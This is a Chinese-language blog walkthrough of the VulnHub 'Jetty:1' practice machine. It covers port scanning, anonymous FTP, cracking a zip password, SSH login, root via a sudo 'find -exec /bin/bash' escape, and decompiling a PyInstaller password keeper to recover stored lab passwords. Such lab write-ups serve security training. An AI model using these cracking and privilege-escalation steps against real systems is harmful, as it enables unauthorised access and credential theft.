JETTY:1 靶机渗透

基础信息

靶机链接:https://www.vulnhub.com/entry/jetty-1,621/ 难度:简单/中等 发布日期:2020/2/9 目标:获得root特权,而且还获得所有证据来证明用户正在欺诈 描述: Aquarium Life SL公司已与您联系,对他们的其中一台机器进行笔测试。他们怀疑他们的一名雇员一直在欺诈售卖假票。他们希望您闯入他的计算机,提升特权并搜索任何证明这种行为的证据。 解压密码: EsSabad0! 额外的信息:     可疑用户名是Squiddie。     他负责水族馆的门票销售。     启用DHCP时,以太网设置设置为NAT。     您应该在VLAN中找到IP。     机器的想法不仅是获得root特权,而且还获得所有证据来证明用户正在欺诈。 困难:我想说这台机器在获得root特权方面是中等的。如果我们考虑所有步骤来获取证据,很难。 

前言

本次靶机使用的VMware Workstation Pro进行搭建运行,将kali与靶机一样使用桥接模式。本次演练使用kali系统按照渗透测试的过程进行操作,从信息收集到提权只需要按部就班就可以了,难点在于取证,因为是第一次接触需要取证的靶机没有思路,看了大佬的操作之后,自己进行复现也有所收获。

一、信息收集

1. 靶机ip
nmap 192.168.1.0/24 

使用nmap进行扫描,得到ip地址:192.168.1.106
JETTY:1  靶机渗透

2.靶机端口与服务
nmap -sV -p- -O -A  192.168.1.106 

JETTY:1  靶机渗透

PORT      STATE SERVICE VERSION 21/tcp    open  ftp     vsftpd 3.0.3 80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu)) 65507/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 
3.网站信息收集

访问192.168.1.106
使用dirb爬取网站链接
没有发现可利用的信息
JETTY:1  靶机渗透

二、漏洞探测与漏洞利用

1.ftp匿名访问

查看之前扫描端口的详细信息
得知可以直接匿名登录ftp
用户:ftp 密码:无(直接回车)
JETTY:1  靶机渗透
发现存在两个文件使用wget命令将文件下载到kali中

wget -r ftp://192.168.1.106 

JETTY:1  靶机渗透
进入目录查看下载文件,通过README.txt提示知道这个压缩包中保存的是密码文件
JETTY:1  靶机渗透
通过fcrackzip进行爆破

fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt sshpass.zip 

成功爆破
密码:seahorse!
JETTY:1  靶机渗透

2.ssh远程登录

解压之后获得密码,尝试ssh远程登录,用户名Henry、Michael都不对,查看靶机描述,发现可疑用户名squiddie
进行尝试,登录成功
JETTY:1  靶机渗透
用户:squiddie
密码:Squ1d4r3Th3B3$t0fTh3W0rLd
JETTY:1  靶机渗透

三、提权

1.升级成交互式shell

但是对squiddie的权限限制较大不能直接使用该命令升级,只能一步一步进行操作

python -c "import pty;pty.spawn('/bin/bash')" 

JETTY:1  靶机渗透

2.find提权

使用sudo -l 查看该用户可使用的命令
JETTY:1  靶机渗透

直接使用find命令进行提权

sudo find /home -exec /bin/bash ; 

JETTY:1  靶机渗透

四、证据收集

1、user.txt

在路径、home/squiddie/Desktop下发现use.txt
查看文件是一串md5密文

dd69f649f3e5159ddd10b83b56b2dda2 

解密:2004737969
JETTY:1  靶机渗透

2、root.txt

在/home/microsystems/Desktop目录下发现root.txt
JETTY:1  靶机渗透

3、proof.txt

在/root/Desktop中发现note.txt和proof.txt
JETTY:1  靶机渗透
解密得到:836934778

4、系统定时任务
crontab -l 

JETTY:1  靶机渗透

*/2 * * * * /etc/cron.daily/backup 

每隔两分钟执行一次/etc/cron.daily/backup文件脚本。参考
查看文件脚本,仅root权限可以执行
文件从/root/Documents/.docs向/var/backups/.docs备份
JETTY:1  靶机渗透
查看/var/backups/.docs目录,存在很多表格
JETTY:1  靶机渗透
将文件拷贝到ftp的目录下下载到kali中
JETTY:1  靶机渗透
在Password_keeper文件夹下发现用来查看密码的小程序,发现查看密码也需要输入密码
JETTY:1  靶机渗透
表格密码 密文
JETTY:1  靶机渗透
usage.txt使用说明
JETTY:1  靶机渗透
要想破解表格密码,需要得到小程序的输入密码,需要将程序反编译,并分析代码
这个程序是用pyinstaller编译的,可以使用pyinstall进行反编译

5、反编译Pyinstall打包的exe

(1)反编译工具:https://github.com/extremecoders-re/pyinstxtractor

python2 ./pyinstxtractor.py ../password_keeper.exe 

执行过命令之后会在pyinstxtractor.py同目录下生成一个文件夹
JETTY:1  靶机渗透
现在的pyc文件还不是源代码,需要继续反编译
(2)反编译pyc文件
链接:https://tool.lu/pyc/
JETTY:1  靶机渗透
分析源代码

#!/usr/bin/env python # visit http://tool.lu/pyc/ for more information from Cryptodome.Cipher import AES import base64 BS = 16  pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)  unpad = lambda s: s[0:-ord(s[-1])]  def cipher_message(key, message, iv):     message = pad(message)     key = base64.b64decode(key)     obj = AES.new(key, AES.MODE_CBC, iv)     ciphertext = obj.encrypt(message)     ciphertext = base64.b64encode(ciphertext)     return ciphertext   def decipher_message(key, ciphertext, iv):     ciphertext = base64.b64decode(ciphertext)     key = base64.b64decode(key)     obj2 = AES.new(key, AES.MODE_CBC, iv)     decipher_text = obj2.decrypt(ciphertext)     decipher_text = unpad(decipher_text)     return decipher_text   def generate_key(ciphertext, tag, key, iv):     ciphertext = cipher_message(key, ciphertext, iv)     print ''     print "Now copy this into your database.txt (It's the free version... pay for an automated tool!)"     print ''     print 'Tag Password'     print tag + ' ' + ciphertext   def show_keys(database, key, iv):     check_permissions = raw_input('Insert password: ')     if base64.b64encode(check_permissions) == key:         for i in range(len(database[0])):             ciphertext = database[1][i]             decipher = decipher_message(key, ciphertext, iv)             print ' '             print 'Tag: ' + database[0][i] + ' Password: ' + decipher             print ' '              else:         print ''         print 'Tag: Instagram Password: WRONG '         print 'Tag: Facebook  Password: PASSWORD '         print 'Tag: SSH       Password: TRY '         print 'Tag: root      Password: HARDER! '         print ''   def read_database():     database = [         [],         []]     f = open('database.txt', 'r')     for line in f.readlines():         line = line.strip().split()         database[0].append(line[0])         database[1].append(line[1])          f.close()     return database   def main():     print 'Welcome to the best password keeper ever!'     print '__        __         _                _  __                         '     print '       / /__  __ _| | ___   _      | |/ /___  ___ _ __   ___ _ __ '     print "   / / / _ / _` | |/ / | | |_____| ' // _ / _  '_  / _  '__|"     print '   V  V /  __/ (_| |    ')         if option == '1':             print ''             print 'Showing content of your secret passwords...'             print ''             show_keys(database, key, iv)             print ''             returned = raw_input('Press any button to return to the menu...')             continue         if option == '2':             print ''             print ''             title = raw_input('Type the name of the application: ')             password = raw_input('Type the password(BEWARE OF SHOULDER SURFING!!!): ')             generate_key(password, title, key, iv)             print ''             print ''             returned = raw_input('Press any button to return to the menu...')             continue         if option == '3':             loop = False             print ''             return 'Bye Byeeeeeeeeeeeee'         print          print          print ''         print 'WHAT? FAILURE TO COMMUNICATE... Reseting connection...'         print ''         print ''         returned = raw_input('Press any button to return to the menu...')  if __name__ == '__main__':     print main() 

(6)分析代码,得到密码
在运行exe文件时,输入1是查询密码,输入1后会调用show_keys()函数
JETTY:1  靶机渗透
当输入的密码值正确时if条件成立,显示表格密码
输入的密码是base64(key)
JETTY:1  靶机渗透

N2FlMjE4ZmYyOTI4ZjZiMg== 解密:7ae218ff2928f6b2 

运行.exe查看密码
JETTY:1  靶机渗透

Tag: instagram Password: S3x1B0y Tag: facebook Password: M4rK1sS0s3X1 Tag: Accountabilty_not_cooked Password: co8oiads13kt Tag: MoneyBalance Password: C5Y0wzGqq4Xw8XGD Tag: Pending_to_erase Password: 1hi2ChHrtkQsUTOc 

(7)取证
Accountabilty_not_cooked
JETTY:1  靶机渗透
AccountabiltyReportMorning-1112018
JETTY:1  靶机渗透
MoneyBalance
JETTY:1  靶机渗透
Pending_to_erase
JETTY:1  靶机渗透

总结

一开始的渗透到提权都是思路清晰,因为之前没有接触过取证在取证的时候不懂,参考了大佬的做法自己复现一遍,加深了印象

参考

https://www.freebuf.com/articles/web/261787.html

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论